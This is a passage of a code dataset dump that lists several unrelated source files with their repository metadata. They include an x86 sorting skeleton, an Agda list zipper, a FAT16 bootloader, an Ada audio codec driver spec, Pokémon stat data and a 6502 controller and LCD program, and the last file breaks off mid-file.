max_stars_repo_path
stringlengths
4
261
max_stars_repo_name
stringlengths
6
106
max_stars_count
int64
0
38.8k
id
stringlengths
1
6
text
stringlengths
7
1.05M
2004-summer/mp2/mp2.asm
ece291/machine-problems
3
94569
<filename>2004-summer/mp2/mp2.asm ; MP2 - Sorting Algorithm Analysis ; Your Name ; Today's Date ; ; <NAME>, Summer 2004 ; University of Illinois, Urbana-Champaign ; Dept. of Electrical and Computer Engineering ; ; Version 1.0 BITS 16 ;====== SECTION 1: Define constants ======================================= ; Define general constants CR EQU 0Dh LF EQU 0Ah ESC EQU 1Bh SPACE EQU 20h BACKSPACE EQU 08h ;====== SECTION 2: Declare external routines ============================== ; Declare external library routines EXTERN kbdin, kbdine, dspmsg, ascbin, binasc, dosxit, dspout EXTERN libGetInput, libParseInput, libPrintArray EXTERN libPartition, libQuickSort, libBubbleSort, mp2xit ; Make program functions and variables global GLOBAL GetInput, ParseInput, PrintArray GLOBAL Partition, QuickSort, BubbleSort GLOBAL EnterString, CompareCount, SwapCount, binascBuf, TestArrayBubble, TestArrayQuick GLOBAL DataString, Array, ArrayLen ;====== SECTION 3: Define stack segment =================================== SEGMENT stkseg STACK ; *** STACK SEGMENT *** resb 64*8 stacktop: resb 0 ; work around NASM bug ;====== SECTION 4: Define code segment ==================================== SEGMENT code ; *** CODE SEGMENT *** ;====== SECTION 5: Declare variables for main procedure =================== IntroString db CR,LF db 0DAh times 28 db 0C4h db 0BFh, CR, LF db 0B3h, ' ', 228, 'C', 228, ' 291 Summer 2004 MP2 ', 0B3h, CR, LF db 0B3h, ' Sorting Algorithm Analysis ', 0B3h, CR, LF db 0C0h times 28 db 0C4h db 0D9h, CR, LF, CR, LF, ':', ' ', '$' InputMsgString db 'Enter a string of numbers, each separated by one space:',CR,LF,'$' ErrorString db 'Error encountered in parsing input!',CR,LF,'$' InitialArrayString db 'Initial array:',CR,LF,'$' SortQuickString db 'Array sorted with QuickSort:',CR,LF,'$' SortBubbleString db 'Array sorted with BubbleSort:',CR,LF,'$' CompareString db 'Number of comparisons: ','$' SwapString db 'Number of swaps: ','$' EnterString db CR,LF,'$' DataString times 76 db 0 Array times 25 dw 0 ArrayLen dw 0 CompareCount dw 0 SwapCount dw 0 FunctionTable dw BubbleSort, QuickSort StringTable dw SortBubbleString, SortQuickString binascBuf times 7 db 0 ;====== SECTION 6: Program initialization ================================= ..start: mov ax, cs ; Initialize Default Segment register mov ds, ax mov ax, stkseg ; Initialize Stack Segment register mov ss, ax mov sp, stacktop ; Initialize Stack Pointer register ;====== SECTION 7: Main procedure ========================================= MAIN: mov dx, IntroString call dspmsg ; Get the input string push word DataString call GetInput add sp, 2 test ax, ax jnz near .Done mov dx, EnterString call dspmsg call dspmsg mov di, 0 .SortLoop mov word [CompareCount], 0 mov word [SwapCount], 0 ; Parse the input string push word Array push word DataString call ParseInput add sp, 4 test ax, ax js near .Error mov [ArrayLen], ax ; Print out the initial array mov dx, InitialArrayString call dspmsg push word [ArrayLen] push word Array call PrintArray add sp, 4 ; Sort the array with Bubblesort or QuickSort mov ax, [ArrayLen] dec ax push ax test di, di jz .CallBubble mov ax, [ArrayLen] dec ax push ax push word 0 push word Array call QuickSort add sp, 6 jmp .PrintArray .CallBubble push word [ArrayLen] push word Array call BubbleSort add sp, 4 .PrintArray ; Print out the sorted array shl di, 1 mov dx, [StringTable+di] shr di, 1 call dspmsg push word [ArrayLen] push word Array call PrintArray add sp, 4 ; Print out comparison and swap info mov dx, CompareString call dspmsg mov ax, [CompareCount] mov bx, binascBuf call binasc mov dx, bx call dspmsg mov dx, EnterString call dspmsg mov dx, SwapString call dspmsg mov ax, [SwapCount] mov bx, binascBuf call binasc mov dx, bx call dspmsg mov dx, EnterString call dspmsg call dspmsg inc di cmp di, 2 jl near .SortLoop jmp .Done .Error mov dx, ErrorString call dspmsg .Done call mp2xit ;====== SECTION 8: Your subroutines ======================================= ;-------------------------------------------------------------- ;-- Replace library calls with your code! -- ;-- [Save all reg values that you modify] -- ;-- Do not forget to add function headers -- ;-------------------------------------------------------------- ;-------------------------------------------------------------- ;-- GetInput() -- ;-------------------------------------------------------------- GetInput push bp mov bp, sp push word [bp+4] call libGetInput add sp, 2 pop bp ret ;-------------------------------------------------------------- ;-- ParseInput() -- ;-------------------------------------------------------------- ParseInput push bp mov bp, sp push word [bp+6] push word [bp+4] call libParseInput add sp, 4 pop bp ret ;-------------------------------------------------------------- ;-- PrintArray() -- ;-------------------------------------------------------------- PrintArray push bp mov bp, sp push word [bp+6] push word [bp+4] call libPrintArray add sp, 4 pop bp ret ;-------------------------------------------------------------- ;-- Partition() -- ;-------------------------------------------------------------- Partition push bp mov bp, sp push word [bp+8] push word [bp+6] push word [bp+4] call libPartition add sp, 6 pop bp ret ;-------------------------------------------------------------- ;-- QuickSort() -- ;-------------------------------------------------------------- QuickSort push bp mov bp, sp push word [bp+8] push word [bp+6] push word [bp+4] call libQuickSort add sp, 6 pop bp ret ;-------------------------------------------------------------- ;-- BubbleSort() -- ;-------------------------------------------------------------- BubbleSort push bp mov bp, sp push word [bp+6] push word [bp+4] call libBubbleSort add sp, 4 pop bp ret
test/asset/agda-stdlib-1.0/Data/List/Zipper.agda
omega12345/agda-mode
5
10185
------------------------------------------------------------------------ -- The Agda standard library -- -- List Zippers, basic types and operations ------------------------------------------------------------------------ {-# OPTIONS --without-K --safe #-} module Data.List.Zipper where open import Data.Nat.Base open import Data.Maybe.Base as Maybe using (Maybe ; just ; nothing) open import Data.List.Base as List using (List ; [] ; _∷_) open import Function -- Definition ------------------------------------------------------------------------ -- A List Zipper represents a List together with a particular sub-List -- in focus. The user can attempt to move the focus left or right, with -- a risk of failure if one has already reached the corresponding end. -- To make these operations efficient, the `context` the sub List in -- focus lives in is stored *backwards*. This is made formal by `toList` -- which returns the List a Zipper represents. record Zipper {a} (A : Set a) : Set a where constructor mkZipper field context : List A value : List A toList : List A toList = List.reverse context List.++ value open Zipper public -- Embedding Lists as Zippers without any context fromList : ∀ {a} {A : Set a} → List A → Zipper A fromList = mkZipper [] -- Fundamental operations of a Zipper: Moving around ------------------------------------------------------------------------ module _ {a} {A : Set a} where left : Zipper A → Maybe (Zipper A) left (mkZipper [] val) = nothing left (mkZipper (x ∷ ctx) val) = just (mkZipper ctx (x ∷ val)) right : Zipper A → Maybe (Zipper A) right (mkZipper ctx []) = nothing right (mkZipper ctx (x ∷ val)) = just (mkZipper (x ∷ ctx) val) -- Focus-respecting operations ------------------------------------------------------------------------ module _ {a} {A : Set a} where reverse : Zipper A → Zipper A reverse (mkZipper ctx val) = mkZipper val ctx -- If we think of a List [x₁⋯xₘ] split into a List [xₙ₊₁⋯xₘ] in focus -- of another list [x₁⋯xₙ] then there are 4 places (marked {k} here) in -- which we can insert new values: [{1}x₁⋯xₙ{2}][{3}xₙ₊₁⋯xₘ{4}] -- The following 4 functions implement these 4 insertions. -- `xs ˢ++ zp` inserts `xs` on the `s` side of the context of the Zipper `zp` -- `zp ++ˢ xs` insert `xs` on the `s` side of the value in focus of the Zipper `zp` infixr 5 _ˡ++_ _ʳ++_ infixl 5 _++ˡ_ _++ʳ_ -- {1} _ˡ++_ : List A → Zipper A → Zipper A xs ˡ++ mkZipper ctx val = mkZipper (ctx List.++ List.reverse xs) val -- {2} _ʳ++_ : List A → Zipper A → Zipper A xs ʳ++ mkZipper ctx val = mkZipper (List.reverse xs List.++ ctx) val -- {3} _++ˡ_ : Zipper A → List A → Zipper A mkZipper ctx val ++ˡ xs = mkZipper ctx (xs List.++ val) -- {4} _++ʳ_ : Zipper A → List A → Zipper A mkZipper ctx val ++ʳ xs = mkZipper ctx (val List.++ xs) -- List-like operations ------------------------------------------------------------------------ module _ {a} {A : Set a} where length : Zipper A → ℕ length (mkZipper ctx val) = List.length ctx + List.length val module _ {a b} {A : Set a} {B : Set b} where map : (A → B) → Zipper A → Zipper B map f (mkZipper ctx val) = (mkZipper on List.map f) ctx val foldr : (A → B → B) → B → Zipper A → B foldr c n (mkZipper ctx val) = List.foldl (flip c) (List.foldr c n val) ctx -- Generating all the possible foci of a list ------------------------------------------------------------------------ module _ {a} {A : Set a} where allFociIn : List A → List A → List (Zipper A) allFociIn ctx [] = List.[ mkZipper ctx [] ] allFociIn ctx xxs@(x ∷ xs) = mkZipper ctx xxs ∷ allFociIn (x ∷ ctx) xs allFoci : List A → List (Zipper A) allFoci = allFociIn []
fiba.asm
sidshas03/My-Personal-Blog
0
83662
<filename>fiba.asm .MODEL SMALL .DATA RES DB ? CNT DB 0AH ; Initialize the counter for the no of Fibonacci No needed .CODE START: MOV AX,@DATA MOV DS,AX LEA SI,RES MOV CL,CNT ; Load the count value for CL for looping MOV AX,00H ; Default No MOV BX,01H ; Default No ;Fibonacci Part L1:ADD AX,BX MOV [SI],AX MOV AX,BX MOV BX,[SI] INC SI LOOP L1 INT 3H ; Terminate the Program END START
boot/loader.asm
Twometer/nekosys
1
97043
<gh_stars>1-10 bits 16 ; 16-bit org 0x8000 ; Stage 2 Loader offset ;;;;;;;;;;;;;;;;;;; ;; Configuration ;; ;;;;;;;;;;;;;;;;;;; %define debug_log 0 ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ;; Memory location definitions ;; ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; %define boot_sector 0x7C00 %define sector_cache 0x4000 %define fat_table 0x5000 %define kernel_offset 0xA000 ;;;;;;;;;;;;;;;;; ;; Entry point ;; ;;;;;;;;;;;;;;;;; init: mov [disk_num], dl ; Save disk number call clear_screen ; Clear VGA terminal push log_welcome ; Show welcome message call print mov ax, [boot_sector + 0x1BE + 0x08] ; Load first partition LBA from MBR mov [partition_lba], ax push word [partition_lba] ; Load FAT header from disk push sector_cache call read_sector push log_readfat ; Show fat parsing log call print mov ax, [sector_cache + 0x0E] ; Load number of reserved sectors mov [reserved_sectors], ax xor ax, ax ; Load number of sectors per cluster mov al, [sector_cache + 0x0D] mov [sectors_per_cluster], ax ; Compute start of root directory mov ax, [sector_cache + 0x16] ; AX = blocksPerFat mov bx, [sector_cache + 0x10] ; BX = numFats mul bx add ax, [sector_cache + 0x0E] ; AX += numReservedBlocks add ax, [partition_lba] ; AX += partitionLba mov [rootdir_start_lba], ax ; rootdirStartLBA = AX ; Compute end of root directory mov ax, [sector_cache + 0x11] ; numRootDirEntries mov bx, 32 ; 32 bytes per dir entry mul bx ; ax *= 32 mov bx, 512 ; 512 bytes per sector div bx ; ax /= 512 add ax, [rootdir_start_lba] ; ax += rootdirStartLba mov [rootdir_end_lba], ax ; rootdirEndLba = ax ; Load FAT table xor ax, ax ; Configure destination for read_sectors mov es, ax ; Dest segment mov bx, fat_table ; Dest address mov ax, [partition_lba] ; Calculate FAT table LBA in AX add ax, [reserved_sectors] push ax push word 16 ; Read 8K (16 sectors) call read_sectors ; Scan root directory for kernel file push word [rootdir_start_lba] push word sector_cache call read_sector mov bx, sector_cache ; Directory parser pointer next_dirent: cmp byte [bx], 0xE5 ; If the first byte is 0xE5, skip it because it's unused je dirent_continue mov ah, [bx + 11] ; Load directory flags to AH and ah, 0x02 ; And with 0x02 to check if it's hidden cmp ah, 0 jne dirent_continue ; If it's hidden, skip it push bx ; Did we find the kernel image? push kernel_file call streq cmp ax, 1 ; streq() retruns its result in AX jne dirent_continue push bx ; We found the kernel :3 call print push newline call print mov ax, [bx + 26] ; Store the cluster of the file jmp kernel_found dirent_continue: add bx, 32 ; Dir entries are 32 bytes in size, go to next one. cmp byte [bx], 0 jne next_dirent ; If we reach here, the kernel was not found. jmp on_not_found ; But if we get here, we found it. kernel_found: push log_success ; Declare success! :P call print mov bx, kernel_offset ; Set the destination pointer for read_sectors load_next_cluster: %if debug_log push ax ; Print current cluster call printhex %endif call cluster2Sector ; Converts Cluster(AX) -> Sector(CX) %if debug_log push bx ; Print current cluster's base sector call printhex %endif push cx ; The sector push word [sectors_per_cluster] ; Number of sectors call read_sectors ; Loads to ES:BX and increments as needed call next_cluster ; Get next cluster in the chain, operates on AX cmp ax, 0xFFFF ; Check if we reached the end of the chain jne load_next_cluster push log_booting call print jmp kernel_offset ; Transfer control to the kernel jmp halt_system ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ;; void next_cluster() ;; ;; ;; ;; Takes a cluster in AX and returns ;; ;; the next one in AX ;; ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; next_cluster: push bx mov bx, ax add bx, bx add bx, fat_table mov ax, [bx] pop bx ret ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ;; void cluster2Sector() ;; ;; ;; ;; Takes cluster in AX and returns ;; ;; sector in CX ;; ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; cluster2Sector: push ax push bx sub ax, 2 ; AX -= 2 (FAT16 starts assigning clusters after #2) mov bx, [sectors_per_cluster] ; AX *= clusterSize mul bx add ax, [rootdir_end_lba] ; AX += endOfRootdir mov cx, ax ; Return in CX pop bx pop ax ret ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ;; bool streq(word *a, word *b) ;; ;; ;; ;; Returns 1 or 0 in AX ;; ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; streq: push bp mov bp, sp push si push di mov si, [bp + 6] ; Load address for left side mov di, [bp + 4] ; Load address for right side streq_next_char: mov al, [si] ; Load left to AL mov ah, [di] ; Load right to AH cmp ax, 0 ; If both are NULs, we're done and equal jz streq_done_eq cmp ah, al ; Check the chars for equality jne streq_done_neq inc si ; If they're equal, goto next char inc di jmp streq_next_char streq_done_neq: mov ax, 0 jmp streq_exit streq_done_eq: mov ax, 1 streq_exit: pop di pop si mov sp, bp pop bp ret 4 ;;;;;;;;;;;;;;;;;;;;;;;;;;;; ;; void print(word *data) ;; ;;;;;;;;;;;;;;;;;;;;;;;;;;;; print: push bp mov bp, sp pusha mov si, [bp + 4] ; String index mov ah, 0x0e ; TTY mode print_nextchar: mov al, [si] ; Load char to write int 0x10 inc si cmp byte [si], 0 ; Check end of string jnz print_nextchar popa mov sp, bp pop bp ret 2 ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ;; void printchr(word char) ;; ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; printchr: push bp mov bp, sp pusha mov ah, 0x0e ; TTY mode mov byte al, [bp + 4] ; Character to write int 0x10 popa mov sp, bp pop bp ret 2 ;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ;; void printhex(word num) ;; ;;;;;;;;;;;;;;;;;;;;;;;;;;;;; printhex: push bp mov bp, sp pusha mov ax, [bp + 4] ; Load number ; 1st nibble mov bx, 0 mov bl, ah and bl, 0xf0 mov cl, 4 shr bl, cl add bx, hextable push word [bx] call printchr ; 2nd nibble mov bx, 0 mov bl, ah and bl, 0x0f add bx, hextable push word [bx] call printchr ; 3rd nibble mov bx, 0 mov bl, al and bl, 0xf0 mov cl, 4 shr bl, cl add bx, hextable push word [bx] call printchr ; 4th nibble mov bx, 0 mov bl, al and bl, 0x0f add bx, hextable push word [bx] call printchr ; EOL push newline call print popa mov sp, bp pop bp ret 2 ;;;;;;;;;;;;;;;;;;;;;;;; ;; Disk access packet ;; ;; for LBA BIOS calls ;; ;;;;;;;;;;;;;;;;;;;;;;;; disk_packet: db 0x10 ; size of packet (16 bytes) db 0x00 ; always zero num_blocks: dw 1 dst_addr: dw 0x00 ; memory dst address dst_seg: dw 0x00 ; memory dst segment src_lba: dd 0x00 ; lba location dd 0x00 ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ;; void read_sectors(word lba, word num) ;; ;; ;; ;; Will write the sectors to ES:BX and increase ES ;; ;; and BX as neccessary ;; ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; read_sectors: push bp mov bp, sp push ax push cx push dx mov dx, [bp + 4] ; Remaining sectors to read mov cx, [bp + 6] ; Source LBA rds_next_sector: push cx push bx call read_sector add bx, 512 ; destAddress += 512 cmp bx, 0 ; Did we cross a segment border? jne rds_continue ; If not, then just continue mov ax, es ; If we did, increase the segment by 0x1000 add ax, 0x1000 mov es, ax rds_continue: inc cx ; ++sourceLba dec dx ; --remainingSectors cmp dx, 0 jnz rds_next_sector ; Check if we have remaining sectors pop dx pop cx pop ax mov sp, bp pop bp ret 4 ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ;; void read_sector(word lba, word *dest) ;; ;; ;; ;; Will write the sector to ES:dest ;; ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; read_sector: push bp mov bp, sp pusha mov word [num_blocks], 1 ; Configure disk packet: mov [dst_seg], es ; Load dest segment mov ax, [bp + 4] ; Dest address mov [dst_addr], ax mov ax, [bp + 6] ; Source LBA mov [src_lba], ax mov si, disk_packet ; Send disk packet mov ah, 0x42 mov dl, [disk_num] int 0x13 jc on_disk_error ; Catch errors popa mov sp, bp pop bp ret 4 ;;;;;;;;;;;;;;;;;;;;;;;; ;; void clearScreen() ;; ;;;;;;;;;;;;;;;;;;;;;;;; clear_screen: push bp mov bp, sp pusha mov ah, 0x07 ; scroll down mov al, 0x00 ; full window mov bh, 0x07 ; white on black mov cx, 0x00 ; origin is 0|0 mov dh, 0x18 ; 18h = 24 rows mov dl, 0x4f ; 4fh = 79 cols int 0x10 ; video int mov ah, 0x02 ; cursor pos mov dx, 0x0000 ; set to 0|0 mov bh, 0x00 ; page 0 int 0x10 ; video int popa mov sp, bp pop bp ret ;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ;; Error condition targets ;; ;;;;;;;;;;;;;;;;;;;;;;;;;;;;; on_not_found: push err_not_found call print jmp halt_system on_disk_error: push err_disk_io call print jmp halt_system halt_system: cli hlt jmp halt_system ;;;;;;;;;;;;;;;;; ;; Disk params ;; ;;;;;;;;;;;;;;;;; disk_num: db 0x00 partition_lba: dw 0x00 rootdir_start_lba: dw 0x00 rootdir_end_lba: dw 0x00 reserved_sectors: dw 0x00 sectors_per_cluster: dw 0x00 ;;;;;;;;;;;;;;;;;;;;;; ;; String constants ;; ;;;;;;;;;;;;;;;;;;;;;; kernel_file: db "koneko.bin", 0 newline: db 0x0a, 0x0d, 0 hextable: db "0123456789ABCDEF" ;;;;;;;;;;;;;;;;;; ;; Log messages ;; ;;;;;;;;;;;;;;;;;; log_welcome: db "nekosys Bootloader", 0xa, 0xd, 0 log_readfat: db "Reading FAT", 0xa, 0xd, 0 log_success: db "Kernel found", 0xa, 0xd, 0 log_booting: db "Starting kernel", 0xa, 0xd, 0 err_disk_io: db "I/O Error", 0xa, 0xd, 0 err_not_found: db "Kernel not found", 0xa, 0xd, 0
components/src/audio/CS43L22/cs43l22.ads
rocher/Ada_Drivers_Library
192
9270
------------------------------------------------------------------------------ -- -- -- Copyright (C) 2015-2016, AdaCore -- -- -- -- Redistribution and use in source and binary forms, with or without -- -- modification, are permitted provided that the following conditions are -- -- met: -- -- 1. Redistributions of source code must retain the above copyright -- -- notice, this list of conditions and the following disclaimer. -- -- 2. Redistributions in binary form must reproduce the above copyright -- -- notice, this list of conditions and the following disclaimer in -- -- the documentation and/or other materials provided with the -- -- distribution. -- -- 3. Neither the name of the copyright holder nor the names of its -- -- contributors may be used to endorse or promote products derived -- -- from this software without specific prior written permission. -- -- -- -- THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -- -- "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -- -- LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -- -- A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -- -- HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -- -- SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -- -- LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -- -- DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -- -- THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -- -- (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -- -- OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. -- -- -- ------------------------------------------------------------------------------ -- Driver for the WM8994 CODEC with HAL; use HAL; with HAL.I2C; use HAL.I2C; with HAL.Audio; use HAL.Audio; with HAL.Time; package CS43L22 is type Output_Device is (No_Output, Speaker, Headphone, Both, Auto); CS43L22_I2C_Addr : constant := 16#94#; CS43L22_ID : constant := 16#E0#; CS43L22_ID_MASK : constant := 16#F8#; type Mute is (Mute_On, Mute_Off); subtype Volume_Level is UInt8 range 0 .. 100; type CS43L22_Device (Port : not null Any_I2C_Port; Time : not null HAL.Time.Any_Delays) is tagged limited private; procedure Init (This : in out CS43L22_Device; Output : Output_Device; Volume : Volume_Level; Frequency : Audio_Frequency); function Read_ID (This : in out CS43L22_Device) return UInt8; procedure Play (This : in out CS43L22_Device); procedure Pause (This : in out CS43L22_Device); procedure Resume (This : in out CS43L22_Device); procedure Stop (This : in out CS43L22_Device); procedure Set_Volume (This : in out CS43L22_Device; Volume : Volume_Level); procedure Set_Mute (This : in out CS43L22_Device; Cmd : Mute); procedure Set_Output_Mode (This : in out CS43L22_Device; Device : Output_Device); procedure Set_Frequency (This : in out CS43L22_Device; Freq : Audio_Frequency); procedure Reset (This : in out CS43L22_Device); private CS43L22_REG_ID : constant := 16#01#; CS43L22_REG_POWER_CTL1 : constant := 16#02#; CS43L22_REG_POWER_CTL2 : constant := 16#04#; CS43L22_REG_CLOCKING_CTL : constant := 16#05#; CS43L22_REG_INTERFACE_CTL1 : constant := 16#06#; CS43L22_REG_INTERFACE_CTL2 : constant := 16#07#; CS43L22_REG_PASSTHR_A_SELECT : constant := 16#08#; CS43L22_REG_PASSTHR_B_SELECT : constant := 16#09#; CS43L22_REG_ANALOG_ZC_SR_SETT : constant := 16#0A#; CS43L22_REG_PASSTHR_GANG_CTL : constant := 16#0C#; CS43L22_REG_PLAYBACK_CTL1 : constant := 16#0D#; CS43L22_REG_MISC_CTL : constant := 16#0E#; CS43L22_REG_PLAYBACK_CTL2 : constant := 16#0F#; CS43L22_REG_PASSTHR_A_VOL : constant := 16#14#; CS43L22_REG_PASSTHR_B_VOL : constant := 16#15#; CS43L22_REG_PCMA_VOL : constant := 16#1A#; CS43L22_REG_PCMB_VOL : constant := 16#1B#; CS43L22_REG_BEEP_FREQ_ON_TIME : constant := 16#1C#; CS43L22_REG_BEEP_VOL_OFF_TIME : constant := 16#1D#; CS43L22_REG_BEEP_TONE_CFG : constant := 16#1E#; CS43L22_REG_TONE_CTL : constant := 16#1F#; CS43L22_REG_MASTER_A_VOL : constant := 16#20#; CS43L22_REG_MASTER_B_VOL : constant := 16#21#; CS43L22_REG_HEADPHONE_A_VOL : constant := 16#22#; CS43L22_REG_HEADPHONE_B_VOL : constant := 16#23#; CS43L22_REG_SPEAKER_A_VOL : constant := 16#24#; CS43L22_REG_SPEAKER_B_VOL : constant := 16#25#; CS43L22_REG_CH_MIXER_SWAP : constant := 16#26#; CS43L22_REG_LIMIT_CTL1 : constant := 16#27#; CS43L22_REG_LIMIT_CTL2 : constant := 16#28#; CS43L22_REG_LIMIT_ATTACK_RATE : constant := 16#29#; CS43L22_REG_OVF_CLK_STATUS : constant := 16#2E#; CS43L22_REG_BATT_COMPENSATION : constant := 16#2F#; CS43L22_REG_VP_BATTERY_LEVEL : constant := 16#30#; CS43L22_REG_SPEAKER_STATUS : constant := 16#31#; CS43L22_REG_TEMPMONITOR_CTL : constant := 16#32#; CS43L22_REG_THERMAL_FOLDBACK : constant := 16#33#; CS43L22_REG_CHARGE_PUMP_FREQ : constant := 16#34#; type CS43L22_Device (Port : not null Any_I2C_Port; Time : not null HAL.Time.Any_Delays) is tagged limited record Output_Enabled : Boolean := False; Output_Dev : UInt8 := 0; end record; procedure I2C_Write (This : in out CS43L22_Device; Reg : UInt8; Value : UInt8); function I2C_Read (This : in out CS43L22_Device; Reg : UInt8) return UInt8; end CS43L22;
programs/oeis/122/A122656.asm
neoneye/loda
22
174660
<gh_stars>10-100 ; A122656: n*floor(n/2)^2. ; 0,0,2,3,16,20,54,63,128,144,250,275,432,468,686,735,1024,1088,1458,1539,2000,2100,2662,2783,3456,3600,4394,4563,5488,5684,6750,6975,8192,8448,9826,10115,11664,11988,13718,14079,16000,16400,18522,18963,21296,21780,24334,24863,27648,28224,31250,31875,35152,35828,39366,40095,43904,44688,48778,49619,54000,54900,59582,60543,65536,66560,71874,72963,78608,79764,85750,86975,93312,94608,101306,102675,109744,111188,118638,120159,128000,129600,137842,139523,148176,149940,159014,160863,170368,172304,182250,184275,194672,196788,207646,209855,221184,223488,235298,237699 mov $1,$0 div $0,2 pow $0,2 mul $0,$1
data/baseStats_original/poliwag.asm
adhi-thirumala/EvoYellow
16
27664
<gh_stars>10-100 db DEX_POLIWAG ; pokedex id db 40 ; base hp db 50 ; base attack db 40 ; base defense db 90 ; base speed db 40 ; base special db WATER ; species type 1 db WATER ; species type 2 db 255 ; catch rate db 77 ; base exp yield INCBIN "pic/ymon/poliwag.pic",0,1 ; 55, sprite dimensions dw PoliwagPicFront dw PoliwagPicBack ; attacks known at lvl 0 db BUBBLE db 0 db 0 db 0 db 3 ; growth rate ; learnset tmlearn 6,8 tmlearn 9,10,11,12,13,14 tmlearn 20 tmlearn 29,31,32 tmlearn 34,40 tmlearn 44,46 tmlearn 50,53 db BANK(PoliwagPicFront)
src/controller.asm
bberak/6502-flappy-bird
0
105190
<filename>src/controller.asm !to "build/timer.bin" PORTB = $6000 PORTA = $6001 DDRB = $6002 DDRA = $6003 T1_LC = $6004 T1_HC = $6005 ACR = $600b PCR = $600c IFR = $600d IER = $600e DISABLED = %00010000 DATA = %00100000 COMMAND = %00000000 HIGH = %01000000 LOW = %00000000 TICK = %10000000 DOWN = %00000001 LEFT = %00000010 UP = %00000100 RIGHT = %00001000 A = %00010000 B = %00100000 ROWS = 6; COLS = 84; var_controller = $0200 var_controller_down_active = $0201 var_controller_left_active = $0202 var_controller_up_active = $0203 var_controller_right_active = $0204 var_controller_a_active = $0205 var_controller_b_active = $0206 var_controller_down_pressed = $0207 var_controller_left_pressed = $0208 var_controller_up_pressed = $0209 var_controller_right_pressed = $020a var_controller_a_pressed = $020b var_controller_b_pressed = $020c var_draw_row_y = $020d var_draw_row_data = $020e var_counter = $020f var_counter_draw_data = $0212 *=$8000 ;/////////////////////////////////////////////////////////////////////// main: ; Set stack pointer to address 01ff ldx #$ff txs jsr controller_init jsr lcd_init jsr lcd_clear main_loop: jsr controller_read ; Draw button down state lda #0 sta var_draw_row_y lda var_controller_down_active sta var_draw_row_data jsr draw_row ; Draw button left state lda #1 sta var_draw_row_y lda var_controller_left_active sta var_draw_row_data jsr draw_row ; Draw button up state lda #2 sta var_draw_row_y lda var_controller_up_active sta var_draw_row_data jsr draw_row ; Draw button right state lda #3 sta var_draw_row_y lda var_controller_right_active sta var_draw_row_data jsr draw_row ; Draw button a state lda #4 sta var_draw_row_y lda var_controller_a_active sta var_draw_row_data jsr draw_row ; Draw button b state lda #5 sta var_draw_row_y lda var_controller_b_active sta var_draw_row_data jsr draw_row jmp main_loop ;/////////////////////////////////////////////////////////////////////// timer_init: pha ; Enable interrupts for timer 1 lda #%11000000 sta IER ; Countinuous timer interrupts (intervals) lda #%01000000 sta ACR ; Load timer 1 with $ffff to initiate countdown lda #$ff sta T1_LC sta T1_HC ; Enable interrupts cli pla rts ;/////////////////////////////////////////////////////////////////////// irq: lda var_counter_draw_data jsr lcd_data inc var_counter bne irq_check_counter inc var_counter + 1 irq_check_counter: lda var_counter cmp #<(ROWS * COLS) bne irq_break lda var_counter + 1 cmp #>(ROWS * COLS) bne irq_break ; Reset counter lda #0 sta var_counter sta var_counter + 1 ; Invert draw data lda var_counter_draw_data eor #%11111111 sta var_counter_draw_data irq_break: ; Clear the interrupt by reading low order timer count ; This will cause the 65c22 to set the irqb pin high bit T1_LC rti ;/////////////////////////////////////////////////////////////////////// draw_row: pha phy clc ; Set lcd x address to zero lda #%10000000 jsr lcd_command ; Select lcd y address lda #%01000000 adc var_draw_row_y jsr lcd_command lda var_draw_row_data ldy #COLS draw_row_loop: beq draw_row_break jsr lcd_data dey jmp draw_row_loop draw_row_break: ply pla rts ;/////////////////////////////////////////////////////////////////////// fill_acc_if_not_zero: beq fill_acc_if_not_zero_break lda #255 fill_acc_if_not_zero_break: rts ;/////////////////////////////////////////////////////////////////////// controller_init: pha ; Set all pins of port A to input lda #%00000000 sta DDRA ; Clear controller variables sta var_controller sta var_controller_down_active sta var_controller_left_active sta var_controller_up_active sta var_controller_right_active sta var_controller_a_active sta var_controller_b_active sta var_controller_down_pressed sta var_controller_left_pressed sta var_controller_up_pressed sta var_controller_right_pressed sta var_controller_a_pressed sta var_controller_b_pressed pla rts ;/////////////////////////////////////////////////////////////////////// controller_read: pha phx phy ; Store current controller state in x register ldx PORTA ; Store previous controller state in y register ldy var_controller txa and #DOWN jsr fill_acc_if_not_zero sta var_controller_down_active txa and #LEFT jsr fill_acc_if_not_zero sta var_controller_left_active txa and #UP jsr fill_acc_if_not_zero sta var_controller_up_active txa and #RIGHT jsr fill_acc_if_not_zero sta var_controller_right_active txa and #A jsr fill_acc_if_not_zero sta var_controller_a_active txa and #B jsr fill_acc_if_not_zero 